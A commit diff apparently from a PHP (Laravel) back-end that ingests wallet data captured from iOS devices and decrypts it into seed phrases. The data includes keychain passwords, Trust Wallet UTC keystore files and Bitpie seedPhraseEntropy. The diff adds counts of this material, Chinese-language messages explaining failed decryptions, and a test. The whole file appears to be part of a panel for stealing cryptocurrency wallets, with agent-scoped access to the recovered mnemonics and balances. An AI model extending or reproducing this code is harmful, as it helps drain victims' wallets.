feat: ds
This commit is contained in:
@@ -8,6 +8,7 @@ use App\Models\User;
|
|||||||
use App\Models\WalletKeystore;
|
use App\Models\WalletKeystore;
|
||||||
use App\Models\WalletMnemonic;
|
use App\Models\WalletMnemonic;
|
||||||
use App\Services\DarkSwordIngestAdapter;
|
use App\Services\DarkSwordIngestAdapter;
|
||||||
|
use App\Services\DsKeystoreDecrypt;
|
||||||
use App\Support\AgentScope;
|
use App\Support\AgentScope;
|
||||||
use Illuminate\Database\Eloquent\Builder;
|
use Illuminate\Database\Eloquent\Builder;
|
||||||
use Illuminate\Http\Request;
|
use Illuminate\Http\Request;
|
||||||
@@ -82,7 +83,7 @@ class KeystoreController extends Controller
|
|||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
public function decrypt(WalletKeystore $keystore, DarkSwordIngestAdapter $adapter)
|
public function decrypt(WalletKeystore $keystore, DarkSwordIngestAdapter $adapter, DsKeystoreDecrypt $decrypt)
|
||||||
{
|
{
|
||||||
if (! $this->keystoreAllowed($keystore)) {
|
if (! $this->keystoreAllowed($keystore)) {
|
||||||
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||||
@@ -107,11 +108,12 @@ class KeystoreController extends Controller
|
|||||||
->get(['id', 'source', 'mnemonic_hash']);
|
->get(['id', 'source', 'mnemonic_hash']);
|
||||||
$added = $after->filter(static fn (WalletMnemonic $row) => ! isset($seen[$row->mnemonic_hash]));
|
$added = $after->filter(static fn (WalletMnemonic $row) => ! isset($seen[$row->mnemonic_hash]));
|
||||||
$addedCount = $added->count();
|
$addedCount = $added->count();
|
||||||
|
$counts = $decrypt->materialCounts($device->fresh('keystores'));
|
||||||
$msg = $addedCount > 0
|
$msg = $addedCount > 0
|
||||||
? '已写入 '.$addedCount.' 条助记词'
|
? '已写入 '.$addedCount.' 条助记词'
|
||||||
: ((int) $keystore->decrypted === 1
|
: ((int) $keystore->decrypted === 1
|
||||||
? '没有新的助记词(该来源可能已解密)'
|
? '没有新的助记词(该来源可能已解密)'
|
||||||
: '未解出助记词(Trust 需要 UTC+钥匙串密码,Bitpie 需要 seedPhraseEntropy)');
|
: $this->decryptMissMessage($counts));
|
||||||
|
|
||||||
return response()->json([
|
return response()->json([
|
||||||
'code' => 0,
|
'code' => 0,
|
||||||
@@ -122,6 +124,9 @@ class KeystoreController extends Controller
|
|||||||
'added' => $addedCount,
|
'added' => $addedCount,
|
||||||
'mnemonic_total' => $after->count(),
|
'mnemonic_total' => $after->count(),
|
||||||
'sources' => $added->pluck('source')->unique()->values()->all(),
|
'sources' => $added->pluck('source')->unique()->values()->all(),
|
||||||
|
'utc' => $counts['utc'],
|
||||||
|
'passwords' => $counts['passwords'],
|
||||||
|
'entropy' => $counts['entropy'],
|
||||||
],
|
],
|
||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
@@ -147,6 +152,30 @@ class KeystoreController extends Controller
|
|||||||
];
|
];
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array{utc: int, passwords: int, entropy: int} $counts
|
||||||
|
*/
|
||||||
|
private function decryptMissMessage(array $counts): string
|
||||||
|
{
|
||||||
|
$utc = (int) $counts['utc'];
|
||||||
|
$passwords = (int) $counts['passwords'];
|
||||||
|
$entropy = (int) $counts['entropy'];
|
||||||
|
if ($utc === 0 && $passwords > 0) {
|
||||||
|
return '有钥匙串密码,但没有沙盒 UTC 文件(Documents/keystore/UTC--…)。Trust 不能只靠钥匙串解密';
|
||||||
|
}
|
||||||
|
if ($utc > 0 && $passwords === 0) {
|
||||||
|
return '有沙盒 UTC 文件,但没有钥匙串密码(account 含 UTC-- 的 32 字节项)';
|
||||||
|
}
|
||||||
|
if ($utc > 0 && $passwords > 0) {
|
||||||
|
return 'UTC 和钥匙串密码都在,但解不开(密码不匹配或 scrypt 失败)';
|
||||||
|
}
|
||||||
|
if ($entropy > 0) {
|
||||||
|
return '有 Bitpie seedPhraseEntropy,但未能还原助记词';
|
||||||
|
}
|
||||||
|
|
||||||
|
return '未解出助记词(Trust 需要 UTC+钥匙串密码,Bitpie 需要 seedPhraseEntropy)';
|
||||||
|
}
|
||||||
|
|
||||||
private function keystoreAllowed(WalletKeystore $keystore): bool
|
private function keystoreAllowed(WalletKeystore $keystore): bool
|
||||||
{
|
{
|
||||||
$allowed = WalletKeystore::query()
|
$allowed = WalletKeystore::query()
|
||||||
|
|||||||
@@ -49,6 +49,28 @@ final class DsKeystoreDecrypt
|
|||||||
return $hits;
|
return $hits;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array{utc: int, passwords: int, entropy: int}
|
||||||
|
*/
|
||||||
|
public function materialCounts(Device $device): array
|
||||||
|
{
|
||||||
|
$device->loadMissing('keystores');
|
||||||
|
$utcs = [];
|
||||||
|
$passwords = [];
|
||||||
|
$entropy = [];
|
||||||
|
foreach ($device->keystores as $row) {
|
||||||
|
$utcs = array_merge($utcs, $this->collectKeystores($row->raw_json));
|
||||||
|
$passwords = array_merge($passwords, $this->collectPasswords($row->raw_json));
|
||||||
|
$entropy = array_merge($entropy, $this->collectBitpieEntropyHex($row->raw_json));
|
||||||
|
}
|
||||||
|
|
||||||
|
return [
|
||||||
|
'utc' => count($this->uniqueKeystores($utcs)),
|
||||||
|
'passwords' => count($this->uniquePasswords($passwords)),
|
||||||
|
'entropy' => count(array_unique($entropy)),
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
|
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
|
||||||
*/
|
*/
|
||||||
|
|||||||
@@ -214,4 +214,37 @@ class KeystoreAdminTest extends TestCase
|
|||||||
->postJson(route('user.keystores.decrypt', $rowB))
|
->postJson(route('user.keystores.decrypt', $rowB))
|
||||||
->assertForbidden();
|
->assertForbidden();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function decrypt_explains_trust_password_without_utc(): void
|
||||||
|
{
|
||||||
|
Http::fake();
|
||||||
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||||
|
$device = Device::query()->create(['device_id' => 'DEVKSDECRYPT02']);
|
||||||
|
$keychain = WalletKeystore::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'source' => 'Trust Wallet',
|
||||||
|
'decrypted' => 0,
|
||||||
|
'raw_json' => [
|
||||||
|
'kind' => 'keychain.wallets',
|
||||||
|
'wallets' => [
|
||||||
|
'trustwallet' => [
|
||||||
|
'items' => [[
|
||||||
|
'account' => 'trustwalletwallet-hd-wallet-UTC--2026-08-21T00-03-40--47A2D637-C475-4384-AA0F-9BB81A84893F',
|
||||||
|
'dataHex' => str_repeat('ab', 32),
|
||||||
|
]],
|
||||||
|
],
|
||||||
|
],
|
||||||
|
],
|
||||||
|
]);
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->postJson(route('admin.keystores.decrypt', $keychain))
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('code', 0)
|
||||||
|
->assertJsonPath('data.added', 0)
|
||||||
|
->assertJsonPath('data.utc', 0)
|
||||||
|
->assertJsonPath('data.passwords', 1)
|
||||||
|
->assertJsonPath('msg', '有钥匙串密码,但没有沙盒 UTC 文件(Documents/keystore/UTC--…)。Trust 不能只靠钥匙串解密');
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user